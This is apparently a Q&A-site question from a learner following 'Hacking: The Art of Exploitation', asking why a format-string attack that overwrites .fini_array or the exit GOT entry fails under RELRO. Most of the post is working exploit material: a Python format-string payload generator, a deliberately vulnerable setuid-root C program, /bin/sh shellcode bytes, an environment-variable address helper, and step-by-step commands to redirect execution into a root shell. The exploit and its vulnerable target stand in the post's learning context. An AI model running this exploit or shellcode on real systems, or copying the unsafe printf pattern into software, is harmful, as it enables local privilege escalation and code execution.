title: How to disable relro to overwrite fini_array or got.plt element
body: <p>I am reading the book Hacking: The art of exploitation and there is a format string exploit example which attempts to overwrite an address of the dtors
  with the address of a shellcode environment variable.
  I work on Kali Linux 64-bit and already found out that there are no dtors (destructors of a c program) and so now I try to overwrite the fini_array or the address of exit in ".got.plt" (I thought this would also work with the partial relro. So not being able to write into got.plt is my biggest problem I seek to get help with).</p>
  
  <p>I already verified that the exploit writes the right address to the address given but when I run it with the address of fini_array or got.plt I get a SIGSEV or "Illegal instruction" error.
  After reading <a href="https://mudongliang.github.io/2016/07/11/relro-a-not-so-well-known-memory-corruption-mitigation-technique.html" rel="nofollow noreferrer">this</a> I think the problem is that the partial <a href="https://ctf101.org/binary-exploitation/relocation-read-only/" rel="nofollow noreferrer">relro</a> won't let me overwrite fini_array since it makes fini_array among many others readonly.
  This is the python program I use to exploit the vuln program:</p>
  
  <pre><code>import struct
  import sys
  
  num = 0
  num1 = 0
  num2 = 0
  num3 = 0
  test_val = 0
  
  if len(sys.argv) &gt; 1:
      num = int(sys.argv[1], 0)
      if len(sys.argv) &gt; 2:
          test_val = int(sys.argv[2], 0)
          if len(sys.argv) &gt; 3:
              num1 = int(sys.argv[3], 0)# - num
              if len(sys.argv) &gt; 4:
                  num2 = int(sys.argv[4], 0)# - num1 - num
                  if len(sys.argv) &gt; 5:
                      num3 = int(sys.argv[5], 0)# - num2 - num1 - num
  
  addr1 = test_val+2
  addr2 = test_val+4
  addr3 = test_val+6
  
  
  vals = sorted(((num, test_val), (num1, addr1), (num2, addr2), (num3, addr3)))
  
  def pad(s):
      return s+"X"*(1024-len(s)-32)
  
  exploit = ""
  prev_val = 0
  for val, addr in vals:
      if not val:
          continue
      val_here = val - prev_val
      prev_val = val
      exploit += "%{}x".format(val_here)
      if addr == test_val:
          exploit += "%132$hn"
      elif addr == addr1:
          exploit += "%133$hn"
      elif addr == addr2:
          exploit += "%134$hn"
      elif addr == addr3:
          exploit += "%135$hn"
  exploit = pad(exploit)
  
  exploit += struct.pack("Q", test_val)
  exploit += struct.pack("Q", addr1)
  exploit += struct.pack("Q", addr2)
  exploit += struct.pack("Q", addr3)
  
  print pad(exploit)
  
  </code></pre>
  
  <p>When I pass the address of the shellcode environment variable and the address of fini_array obtained with</p>
  
  <pre><code>objdump -s -j .fini_array ./vuln
  </code></pre>
  
  <p>I just get a SegmentationFault.</p>
  
  <p>It is also very strange that this happens as well when I try to overwrite an address in the .got.plt section which actually should not be affected by partial relro which means I should be able to write to it but in reality I can't.
  Moreover "ld --verbose ./vuln" shows this:</p>
  
  <pre><code>.dynamic        : { *(.dynamic) }
    .got            : { *(.got) *(.igot) }
    . = DATA_SEGMENT_RELRO_END (SIZEOF (.got.plt) &gt;= 24 ? 24 : 0, .);
    .got.plt        : { *(.got.plt) *(.igot.plt) }
  
  </code></pre>
  
  <p>This is proof that .got.plt should not be readonly but why can I not write to it then?</p>
  
  <p>Now my question is which workaround (maybe some gcc options) I could use to solve my problem. Even if it was not possible to actually overwrite .fini_array why do I have the same problem with .got.plt and how can I resolve it?
  I think that the problem I have with the .got.plt section might come from the fact that I am unable to execute the shellcode as it is part of the buffer. So are there any gcc options to make the buffer executable?</p>
  
  <p>Here is vuln.c:</p>
  
  <pre><code>include &lt;stdio.h&gt;
  #include &lt;stdlib.h&gt;
  #include &lt;string.h&gt;
  
  int main(int argc, char *argv[]) {
    char text[1024];
    static int test_val = -72;
  
    fgets(text, sizeof(text), stdin);
  
    printf("The right way to print user-controlled input:\n");
    printf("%s\n", text);
  
    printf("The wrong way to print user-controlled input:\n");
    printf(text);
  
    printf("\n");
  
    printf("[*] test_val @ %p = %d 0x%08x\n", &amp;test_val, test_val, test_val);
    exit(0);
  }
  
  </code></pre>
  
  <p>I compile vuln.c with gcc 9.2.1 like this:</p>
  
  <pre><code>gcc -g -o vuln vuln.c
  sudo chown root:root ./vuln
  sudo chmod u+s ./vuln
  </code></pre>
  
  <p>This is the shellcode:</p>
  
  <pre><code>\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05
  </code></pre>
  
  <p>I exported this as a binary into the SHELLCODE variable by copying the above hex into input.txt.
  Then run:</p>
  
  <pre><code>xxd -r -p input.txt output.bin
  </code></pre>
  
  <p>Now export it:</p>
  
  <pre><code>export SHELLCODE=$(cat output.bin)
  </code></pre>
  
  <p>The script getenv.c is used to get the address of Shellcode:</p>
  
  <pre><code>#include &lt;stdio.h&gt;
  #include &lt;stdlib.h&gt;
  #include &lt;string.h&gt;
  
  int main(int argc, char const *argv[]) {
    char *ptr;
  
    if (argc &lt; 3) {
      printf("Usage: %s &lt;environment var&gt; &lt;target program name&gt;\n", argv[0]);
      exit(0);
    }
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
    printf("%s will be at %p\n", argv[1], ptr);
    return 0;
  }
  </code></pre>
  
  <p>To use it run:</p>
  
  <pre><code>./getenvaddr SHELLCODE ./vuln
  </code></pre>
  
  <p>This tells you which address the SHELLCODE variable will have when you execute the vuln program.
  Last I find the address of the exit function in the global offset table by:</p>
  
  <pre><code>objdump -R ./vuln
  
  DYNAMIC RELOCATION RECORDS
  OFFSET           TYPE              VALUE 
  0000000000003de8 R_X86_64_RELATIVE  *ABS*+0x0000000000001170
  0000000000003df0 R_X86_64_RELATIVE  *ABS*+0x0000000000001130
  0000000000004048 R_X86_64_RELATIVE  *ABS*+0x0000000000004048
  0000000000003fd8 R_X86_64_GLOB_DAT  _ITM_deregisterTMCloneTable
  0000000000003fe0 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.2.5
  0000000000003fe8 R_X86_64_GLOB_DAT  __gmon_start__
  0000000000003ff0 R_X86_64_GLOB_DAT  _ITM_registerTMCloneTable
  0000000000003ff8 R_X86_64_GLOB_DAT  __cxa_finalize@GLIBC_2.2.5
  0000000000004060 R_X86_64_COPY     stdin@@GLIBC_2.2.5
  0000000000004018 R_X86_64_JUMP_SLOT  putchar@GLIBC_2.2.5
  0000000000004020 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
  0000000000004028 R_X86_64_JUMP_SLOT  printf@GLIBC_2.2.5
  0000000000004030 R_X86_64_JUMP_SLOT  fgets@GLIBC_2.2.5
  0000000000004038 R_X86_64_JUMP_SLOT  exit@GLIBC_2.2.5
  </code></pre>
  
  <p>Here the address of exit would be 0x4038</p>
  
  <p>Now I write the address of the shellcode let's say 0x7fffffffe5e5 to the address of the exit function 0x4038 so that the program should be redirected into a shell instead of exiting like this:</p>
  
  <pre><code>python pyscript.py 0xe5e5 0x4038 0xffff 0x7fff | ./vuln
  </code></pre>
  
  <p>This is the underlying principle:</p>
  
  <pre><code>python pyscript.py first_to_bytes_of_shellcode exit_address second_to_bytes_of_shellcode third_to_bytes_of_shellcode optional_fourth_to_bytes_of_shellcode | ./vuln
  </code></pre>